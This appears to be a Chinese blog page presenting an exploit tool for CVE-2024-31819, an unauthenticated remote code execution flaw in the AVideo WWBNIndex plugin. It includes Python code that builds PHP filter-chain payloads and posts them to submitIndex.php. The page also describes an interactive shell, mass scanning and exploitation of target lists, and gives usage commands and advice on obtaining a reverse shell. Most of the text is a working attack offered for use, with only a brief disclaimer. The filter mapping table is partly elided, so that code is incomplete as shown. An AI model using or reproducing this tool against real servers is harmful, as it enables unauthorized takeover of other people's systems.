AVideo RCE 漏洞利用工具 (CVE-2024-31819)

5 阅读5分钟

AVideo Exploit (CVE-2024-31819)

该项目是一个针对 AVideo 平台 WWBNIndex 插件中严重安全漏洞的利用工具。该漏洞(CVE-2024-31819)允许未认证的攻击者通过精心构造的 PHP 过滤器链实现远程代码执行,从而完全控制目标服务器。

功能特性

  • 未认证远程代码执行:无需任何用户名或密码,直接利用 submitIndex.php 中的文件包含漏洞。
  • PHP 过滤器链生成:内置生成器,可将任意 PHP 代码转换为可利用的过滤器链载荷。
  • 交互式 Shell:成功利用后提供一个伪交互式命令行界面,方便执行系统命令。
  • 批量扫描与利用:支持从文件中读取多个目标 URL,并使用多线程进行并发检测与攻击。
  • 自动输出解析:智能解析响应内容,提取命令执行结果,移除无用信息。
  • 多种利用方式:可直接执行单条命令,也可进入持久化的交互模式。

安装指南

环境要求

  • Python 3.6 或更高版本
  • 目标服务器运行 AVideo 平台版本 12.4 至 14.2

依赖安装

使用 pip 安装所需的 Python 依赖包:

pip install requests packaging rich alive-progress prompt-toolkit php-filter-chain

系统要求

  • 支持 Windows / Linux / macOS 平台
  • 需要能够访问目标服务器的网络权限

使用说明

基本用法

对单个目标 URL 进行漏洞利用:

python AVideoExploit.py -u http://target.com

批量扫描

对文件中的多个 URL 进行批量检测和利用:

python AVideoExploit.py -f urls.txt -t 10 -o results.txt

参数说明:

  • -u:指定单个目标的基础 URL
  • -f:包含目标 URL 列表的文件(每行一个)
  • -t:并发线程数(默认 5)
  • -o:将输出结果保存到指定文件

典型使用场景

  1. 探测漏洞:运行脚本后,它会自动检测目标是否存在漏洞。
  2. 执行单条命令:在交互式 Shell 中直接输入系统命令,如 idwhoamils -la
  3. 获取反向 Shell:使用交互式 Shell 执行反向连接命令,获取更稳定的控制权限。

核心代码模块

以下是项目中两个核心类的关键实现代码及注释。

AVideoExploit 类 - 漏洞利用主逻辑
class AVideoExploit:
    """AVideo 平台漏洞利用主类"""
    
    def __init__(self, base_url):
        self.console = Console()          # 用于美化控制台输出
        self.base_url = base_url.rstrip('/')
    
    def generate_php_filter_payload(self, command):
        """生成 PHP 过滤器链载荷
        
        将用户输入的命令包装成 PHP 代码,并转换为可触发的过滤器链。
        
        Args:
            command: 要执行的系统命令字符串
            
        Returns:
            可被漏洞点利用的过滤器链字符串
        """
        # 构造要执行的 PHP 代码
        php_code = f"<?php system('{command}'); echo '[S]'; system('{command}'); echo '[E]'; ?>"
        generator = PHPFilterChainGenerator()
        return generator.generate_filter_chain(php_code)
    
    def send_payload(self, payload):
        """向漏洞端点发送恶意载荷
        
        Args:
            payload: 生成的过滤器链字符串
            
        Returns:
            成功时返回 HTTP 响应内容,失败返回 False
        """
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        try:
            response = requests.post(
                f"{self.base_url}/plugin/WWBNIndex/submitIndex.php",
                data={"systemRootPath": payload},
                headers=headers,
                verify=False,
                timeout=10,
            )
            if response.status_code == 200:
                return response.text
            return False
        except requests.exceptions.RequestException:
            return False
    
    def parse_output(self, output):
        """从响应中解析命令执行结果
        
        使用正则表达式提取被 [S] 和 [E] 标记包裹的输出内容。
        
        Args:
            output: HTTP 响应文本
            
        Returns:
            提取出的纯净命令输出,未找到则返回 None
        """
        match = re.search(r"\[S\](.*?)\[E\]", output, re.DOTALL)
        return match.group(1).strip() if match else None
    
    def interactive_shell(self):
        """启动交互式命令 Shell
        
        提供类似终端的交互界面,支持命令历史记录和实时输出反馈。
        """
        session = PromptSession(history=InMemoryHistory())
        self.custom_print("Interactive shell started. Type 'exit' to quit.", "*")
        
        while True:
            try:
                command = session.prompt(HTML('<ansired>avideo></ansired> '))
                if command.lower() == 'exit':
                    break
                if command.strip():
                    self.execute_command(command)
            except KeyboardInterrupt:
                continue
            except EOFError:
                break
PHPFilterChainGenerator 类 - 过滤器链生成器
class PHPFilterChainGenerator:
    """PHP 过滤器链生成器
    
    利用 PHP 的流过滤器(iconv, string.rot13, string.toupper 等)特性,
    将任意 PHP 代码编码成可以通过文件包含函数执行的过滤器链。
    """
    
    def __init__(self):
        # 字符映射表:将每个字符(0-9, A-Z, a-z)转换为对应的 iconv 过滤器链
        self.conversions = {
            "0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|...",
            "1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|...",
            # ... 更多字符映射
        }
    
    def generate_filter_chain(self, php_code):
        """生成完整的 PHP 过滤器链
        
        通过多次编码转换和字符串操作,将原始 PHP 代码转化为
        可在 php://filter 伪协议中使用的过滤器链。
        
        Args:
            php_code: 要执行的 PHP 代码字符串
            
        Returns:
            完整的过滤器链字符串,格式为 php://filter/[chain]/resource=/etc/passwd
        """
        # 步骤 1: 对 PHP 代码进行 Base64 编码
        b64_code = base64.b64encode(php_code.encode()).decode()
        
        # 步骤 2: 将 Base64 字符串拆解为单个字符
        chars = list(b64_code)
        
        # 步骤 3: 为每个字符生成对应的过滤器转换
        filters = []
        for char in chars:
            if char in self.conversions:
                filters.append(self.conversions[char])
        
        # 步骤 4: 添加最终的解码过滤器
        filters.append("convert.iconv.UTF8.UTF16LE")
        filters.append("convert.quoted-printable-encode")
        filters.append("convert.iconv.UTF16LE.UTF8")
        filters.append("string.rot13")
        
        # 步骤 5: 组装成完整的 php://filter 链
        chain = "|".join(filters)
        return f"php://filter/{chain}/resource=/etc/passwd"

漏洞原理

该漏洞源于 WWBNIndex 插件的 submitIndex.php 文件中,用户可控的 systemRootPath 参数被直接传入 require() 函数,且未经过任何过滤或验证。攻击者可以利用 PHP 的 php://filter 伪协议配合多层过滤器链,将任意 PHP 代码注入并执行。

漏洞代码示例(存在漏洞的文件片段):

<?php
// submitIndex.php - 存在漏洞的代码
$systemRootPath = $_POST['systemRootPath'];
require_once($systemRootPath . '/index.php');
?>

利用原理

  1. 构造一个包含恶意 PHP 代码的字符串。
  2. 使用 php://filter 协议和多个转换过滤器将代码编码。
  3. require() 包含该过滤器链时,PHP 会解码并执行其中的代码。

影响版本

  • AVideo 平台版本 12.4 至 14.2
  • 安装了 WWBNIndex 插件的所有实例

免责声明

本工具仅用于安全研究、授权渗透测试和教育目的。未经授权使用此工具攻击目标系统属于违法行为。使用者需自行承担因不当使用造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/wg7+W+DhIKufLyBzYlqXLc=